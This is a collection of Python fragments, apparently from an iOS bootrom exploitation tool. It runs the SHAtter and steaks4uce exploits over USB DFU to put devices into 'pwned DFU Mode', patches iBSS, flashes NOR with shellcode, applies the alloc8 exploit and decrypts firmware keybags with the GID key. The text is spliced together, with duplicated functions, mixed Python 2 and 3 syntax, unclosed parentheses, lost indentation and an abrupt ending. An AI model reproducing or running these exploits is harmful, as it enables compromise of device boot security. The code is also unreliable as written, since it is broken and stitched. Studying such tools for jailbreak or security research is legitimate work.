def exploit():
print '*** based on SHAtter exploit (segment overflow) by posixninja and pod2g ***'
device = dfu.acquire_device()
print 'Found:', device.serial_number
if 'PWND:[' in device.serial_number:
print 'Device is already in pwned DFU Mode. Not executing exploit.'
return
if 'CPID:8930' not in device.serial_number:
print 'ERROR: Not a compatible device. This exploit is for S5L8930 devices only. Exiting.'
sys.exit(1)
if 'SRTG:[iBoot-574.4]' not in device.serial_number:
print 'ERROR: CPID is compatible, but serial number string does not match.'
print 'Make sure device is in SecureROM DFU Mode and not LLB/iBSS DFU Mode. Exiting.'
sys.exit(1)
dfu.reset_counters(device)
dfu.get_data(device, 0x40)
dfu.usb_reset(device)
dfu.release_device(device)
device = dfu.acquire_device()
dfu.request_image_validation(device)
dfu.release_device(device)
device = dfu.acquire_device()
dfu.get_data(device, 0x2C000)
dfu.release_device(device)
time.sleep(0.5)
device = dfu.acquire_device()
dfu.reset_counters(device)
dfu.get_data(device, 0x140)
dfu.usb_reset(device)
dfu.release_device(device)
device = dfu.acquire_device()
dfu.request_image_validation(device)
dfu.release_device(device)
device = dfu.acquire_device()
dfu.send_data(device, generate_payload())
dfu.get_data(device, 0x2C000)
dfu.release_device(device)
time.sleep(0.5)
device = dfu.acquire_device()
failed = 'PWND:[SHAtter]' not in device.serial_number
dfu.release_device(device)
if failed:
print 'ERROR: Exploit failed. Device did not enter pwned DFU Mode.'
sys.exit(1)
print 'Device is now in pwned DFU Mode.'
def boot_ibss(self):
print 'Sending iBSS.'
if self.config.cpid != '8920':
print 'ERROR: Boot iBSS is currently only supported on iPhone 3GS.'
sys.exit(1)
help1 = 'Download iPhone2,1_4.3.5_8L1_Restore.ipsw and use the following command to extract iBSS:'
help2 = 'unzip -p iPhone2,1_4.3.5_8L1_Restore.ipsw Firmware/dfu/iBSS.n88ap.RELEASE.dfu > n88ap-iBSS-4.3.5.img3'
try:
f = open('n88ap-iBSS-4.3.5.img3', 'rb')
data = f.read()
f.close()
except:
print 'ERROR: n88ap-iBSS-4.3.5.img3 is missing.'
print help1
print help2
sys.exit(1)
if len(data) == 0:
print 'ERROR: n88ap-iBSS-4.3.5.img3 exists, but is empty (size: 0 bytes).'
print help1
print help2
sys.exit(1)
if hashlib.sha256(data).hexdigest(
) != 'b47816105ce97ef02637ec113acdefcdee32336a11e04eda0a6f4fc5e6617e61':
print 'ERROR: n88ap-iBSS-4.3.5.img3 exists, but is from the wrong IPSW or corrupted.'
print help1
print help2
sys.exit(1)
iBSS = image3.Image3(data)
decryptediBSS = iBSS.newImage3(decrypted=True)
n88ap_iBSS_435_patches = [
(0x14954, 'run\x00'), # patch 'reset' command string to 'run'
(0x17654, struct.pack('<I', 0x41000001)
), # patch 'reset' command handler to LOAD_ADDRESS + 1
]
patchediBSS = decryptediBSS[:64] + utilities.apply_patches(
decryptediBSS[64:], n88ap_iBSS_435_patches)
device = dfu.acquire_device()
assert self.identifier == device.serial_number
dfu.reset_counters(device)
dfu.request_image_validation(device)
dfu.release_device(device)
time.sleep(0.5)
device = dfu.acquire_device()
assert self.identifier == device.serial_number
data = dfu.send_data(device, patchediBSS)
dfu.request_image_validation(device)
dfu.release_device(device)
time.sleep(0.5)
print 'Waiting for iBSS to enter Recovery Mode.'
device = recovery.acquire_device()
recovery.release_device(device)
def exploit():
print('*** based on steaks4uce exploit (heap overflow) by pod2g ***')
device = dfu.acquire_device()
print('Found:', device.serial_number)
if 'PWND:[' in device.serial_number:
print('Device is already in pwned DFU Mode. Not executing exploit.')
return
if 'CPID:8720' not in device.serial_number:
print(
'ERROR: Not a compatible device. This exploit is for S5L8720 devices only. Exiting.'
)
sys.exit(1)
chosenConfig = None
for config in configs:
if 'SRTG:[iBoot-%s]' % config.version in device.serial_number:
chosenConfig = config
break
if chosenConfig is None:
print(
'ERROR: CPID is compatible, but serial number string does not match.'
)
print(
'Make sure device is in SecureROM DFU Mode and not LLB/iBSS DFU Mode. Exiting.'
)
sys.exit(1)
dfu.reset_counters(device)
dfu.send_data(device, generate_shellcode(chosenConfig.constants))
dfu.send_data(device, payload)
assert len(device.ctrl_transfer(0xA1, 1, 0, 0, len(payload),
1000)) == len(payload)
dfu.release_device(device)
time.sleep(0.01)
device = dfu.acquire_device()
dfu.usb_reset(device)
dfu.release_device(device)
device = dfu.acquire_device()
failed = 'PWND:[steaks4uce]' not in device.serial_number
dfu.release_device(device)
if failed:
print('ERROR: Exploit failed. Device did not enter pwned DFU Mode.')
sys.exit(1)
print('Device is now in pwned DFU Mode.')
def execute(self, cmd, receiveLength):
device = dfu.acquire_device()
assert self.identifier == device.serial_number
dfu.reset_counters(device)
dfu.send_data(device, EXEC_MAGIC + cmd)
dfu.request_image_validation(device)
dfu.release_device(device)
time.sleep(0.5)
device = dfu.acquire_device()
assert self.identifier == device.serial_number
requiredLength = 0x8 + receiveLength
requiredLength = requiredLength if requiredLength % 0x800 == 0 else requiredLength / 0x800 * 0x800 + 0x800
received = dfu.get_data(device, requiredLength)
dfu.release_device(device)
(exec_cleared, retval) = struct.unpack('<2I', received[:8])
assert exec_cleared == 0
return (retval, received[8:8 + receiveLength])
def boot_ibss(self):
print('Sending iBSS.'
if self.config.cpid != '8920':
print('ERROR: Boot iBSS is currently only supported on iPhone 3GS.')
sys.exit(1)
help1 = 'Download iPhone2,1_4.3.5_8L1_Restore.ipsw and use the following command to extract iBSS:'
help2 = 'unzip -p iPhone2,1_4.3.5_8L1_Restore.ipsw Firmware/dfu/iBSS.n88ap.RELEASE.dfu > n88ap-iBSS-4.3.5.img3'
try:
f = open('n88ap-iBSS-4.3.5.img3', 'rb')
data = f.read()
f.close()
except:
print('ERROR: n88ap-iBSS-4.3.5.img3 is missing.')
print (help1)
print (help2)
sys.exit(1)
if len(data) == 0:
print('ERROR: n88ap-iBSS-4.3.5.img3 exists, but is empty (size: 0 bytes).')
print (help1)
print (help2)
sys.exit(1)
if hashlib.sha256(data).hexdigest() != 'b47816105ce97ef02637ec113acdefcdee32336a11e04eda0a6f4fc5e6617e61':
print('ERROR: n88ap-iBSS-4.3.5.img3 exists, but is from the wrong IPSW or corrupted.')
print help1
print help2
sys.exit(1)
iBSS = image3.Image3(data)
decryptediBSS = iBSS.newImage3(decrypted=True)
n88ap_iBSS_435_patches = [
(0x14954, 'run\x00'), # patch 'reset' command string to 'run'
(0x17654, struct.pack('<I', 0x41000001)), # patch 'reset' command handler to LOAD_ADDRESS + 1
]
patchediBSS = decryptediBSS[:64] + utilities.apply_patches(decryptediBSS[64:], n88ap_iBSS_435_patches)
device = dfu.acquire_device()
assert self.identifier == device.serial_number
dfu.reset_counters(device)
dfu.request_image_validation(device)
dfu.release_device(device)
time.sleep(0.5)
device = dfu.acquire_device()
assert self.identifier == device.serial_number
data = dfu.send_data(device, patchediBSS)
dfu.request_image_validation(device)
dfu.release_device(device)
time.sleep(0.5)
print('Waiting for iBSS to enter Recovery Mode.')
device = recovery.acquire_device()
recovery.release_device(device)
def flash_nor(self, nor):
self.boot_ibss()
print('Sending iBSS payload to flash NOR.')
MAX_SHELLCODE_LENGTH = 128
payload = open('bin/ibss-flash-nor-shellcode.bin', 'rb').read()
assert len(payload) <= MAX_SHELLCODE_LENGTH
payload += '\x00' * (MAX_SHELLCODE_LENGTH - len(payload)) + nor
device = recovery.acquire_device()
assert 'CPID:8920' in device.serial_number
recovery.send_data(device, payload)
try:
print('Sending run command.'
recovery.send_command(device, 'run')
except usb.core.USBError:
# OK
pass
#print('Caught USBError; should still work.'
recovery.release_device(device)
print('If screen is not red, NOR was flashed successfully and device will reboot.')
def decrypt_keybag(self, keybag):
KEYBAG_LENGTH = 48
assert len(keybag) == KEYBAG_LENGTH
KEYBAG_FILENAME = 'aes-keys/S5L%s-firmware' % self.config.cpid
try:
f = open(KEYBAG_FILENAME, 'rb')
data = f.read()
f.close()
except IOError:
data = str()
assert len(data) % 2 * KEYBAG_LENGTH == 0
for i in range(0, len(data), 2 * KEYBAG_LENGTH):
if keybag == data[i:i+KEYBAG_LENGTH]:
return data[i+KEYBAG_LENGTH:i+2*KEYBAG_LENGTH]
device = PwnedDFUDevice()
decrypted_keybag = device.aes(keybag, AES_DECRYPT, AES_GID_KEY)
f = open(KEYBAG_FILENAME, 'a')
f.write(keybag + decrypted_keybag)
f.close()
return decrypted_keybag
print 'Preparing modified NOR with alloc8 exploit.'
# Remove 24Kpwn first.
nor.images[0] = image3_24Kpwn.remove_exploit(nor.images[0])
new_nor = alloc8.exploit(nor, device.config.version)
device.flash_nor(new_nor.dump())
if opt == '-f':
try:
with open(arg, 'rb') as f:
data = f.read()
except IOError:
print 'ERROR: Could not read file:', arg
sys.exit(1)
device = dfu.acquire_device()
dfu.reset_counters(device)
dfu.send_data(device, data)
dfu.request_image_validation(device)
dfu.release_device(device)
if opt == '--demote':
device = dfu.acquire_device()
serial_number = device.serial_number
dfu.release_device(device)
if 'PWND:[checkm8]' in serial_number:
pwned = usbexec.PwnedUSBDevice()
old_value = pwned.read_memory_uint32(
pwned.platform.demotion_reg)
print 'Demotion register: 0x%x' % old_value
if old_value & 1:
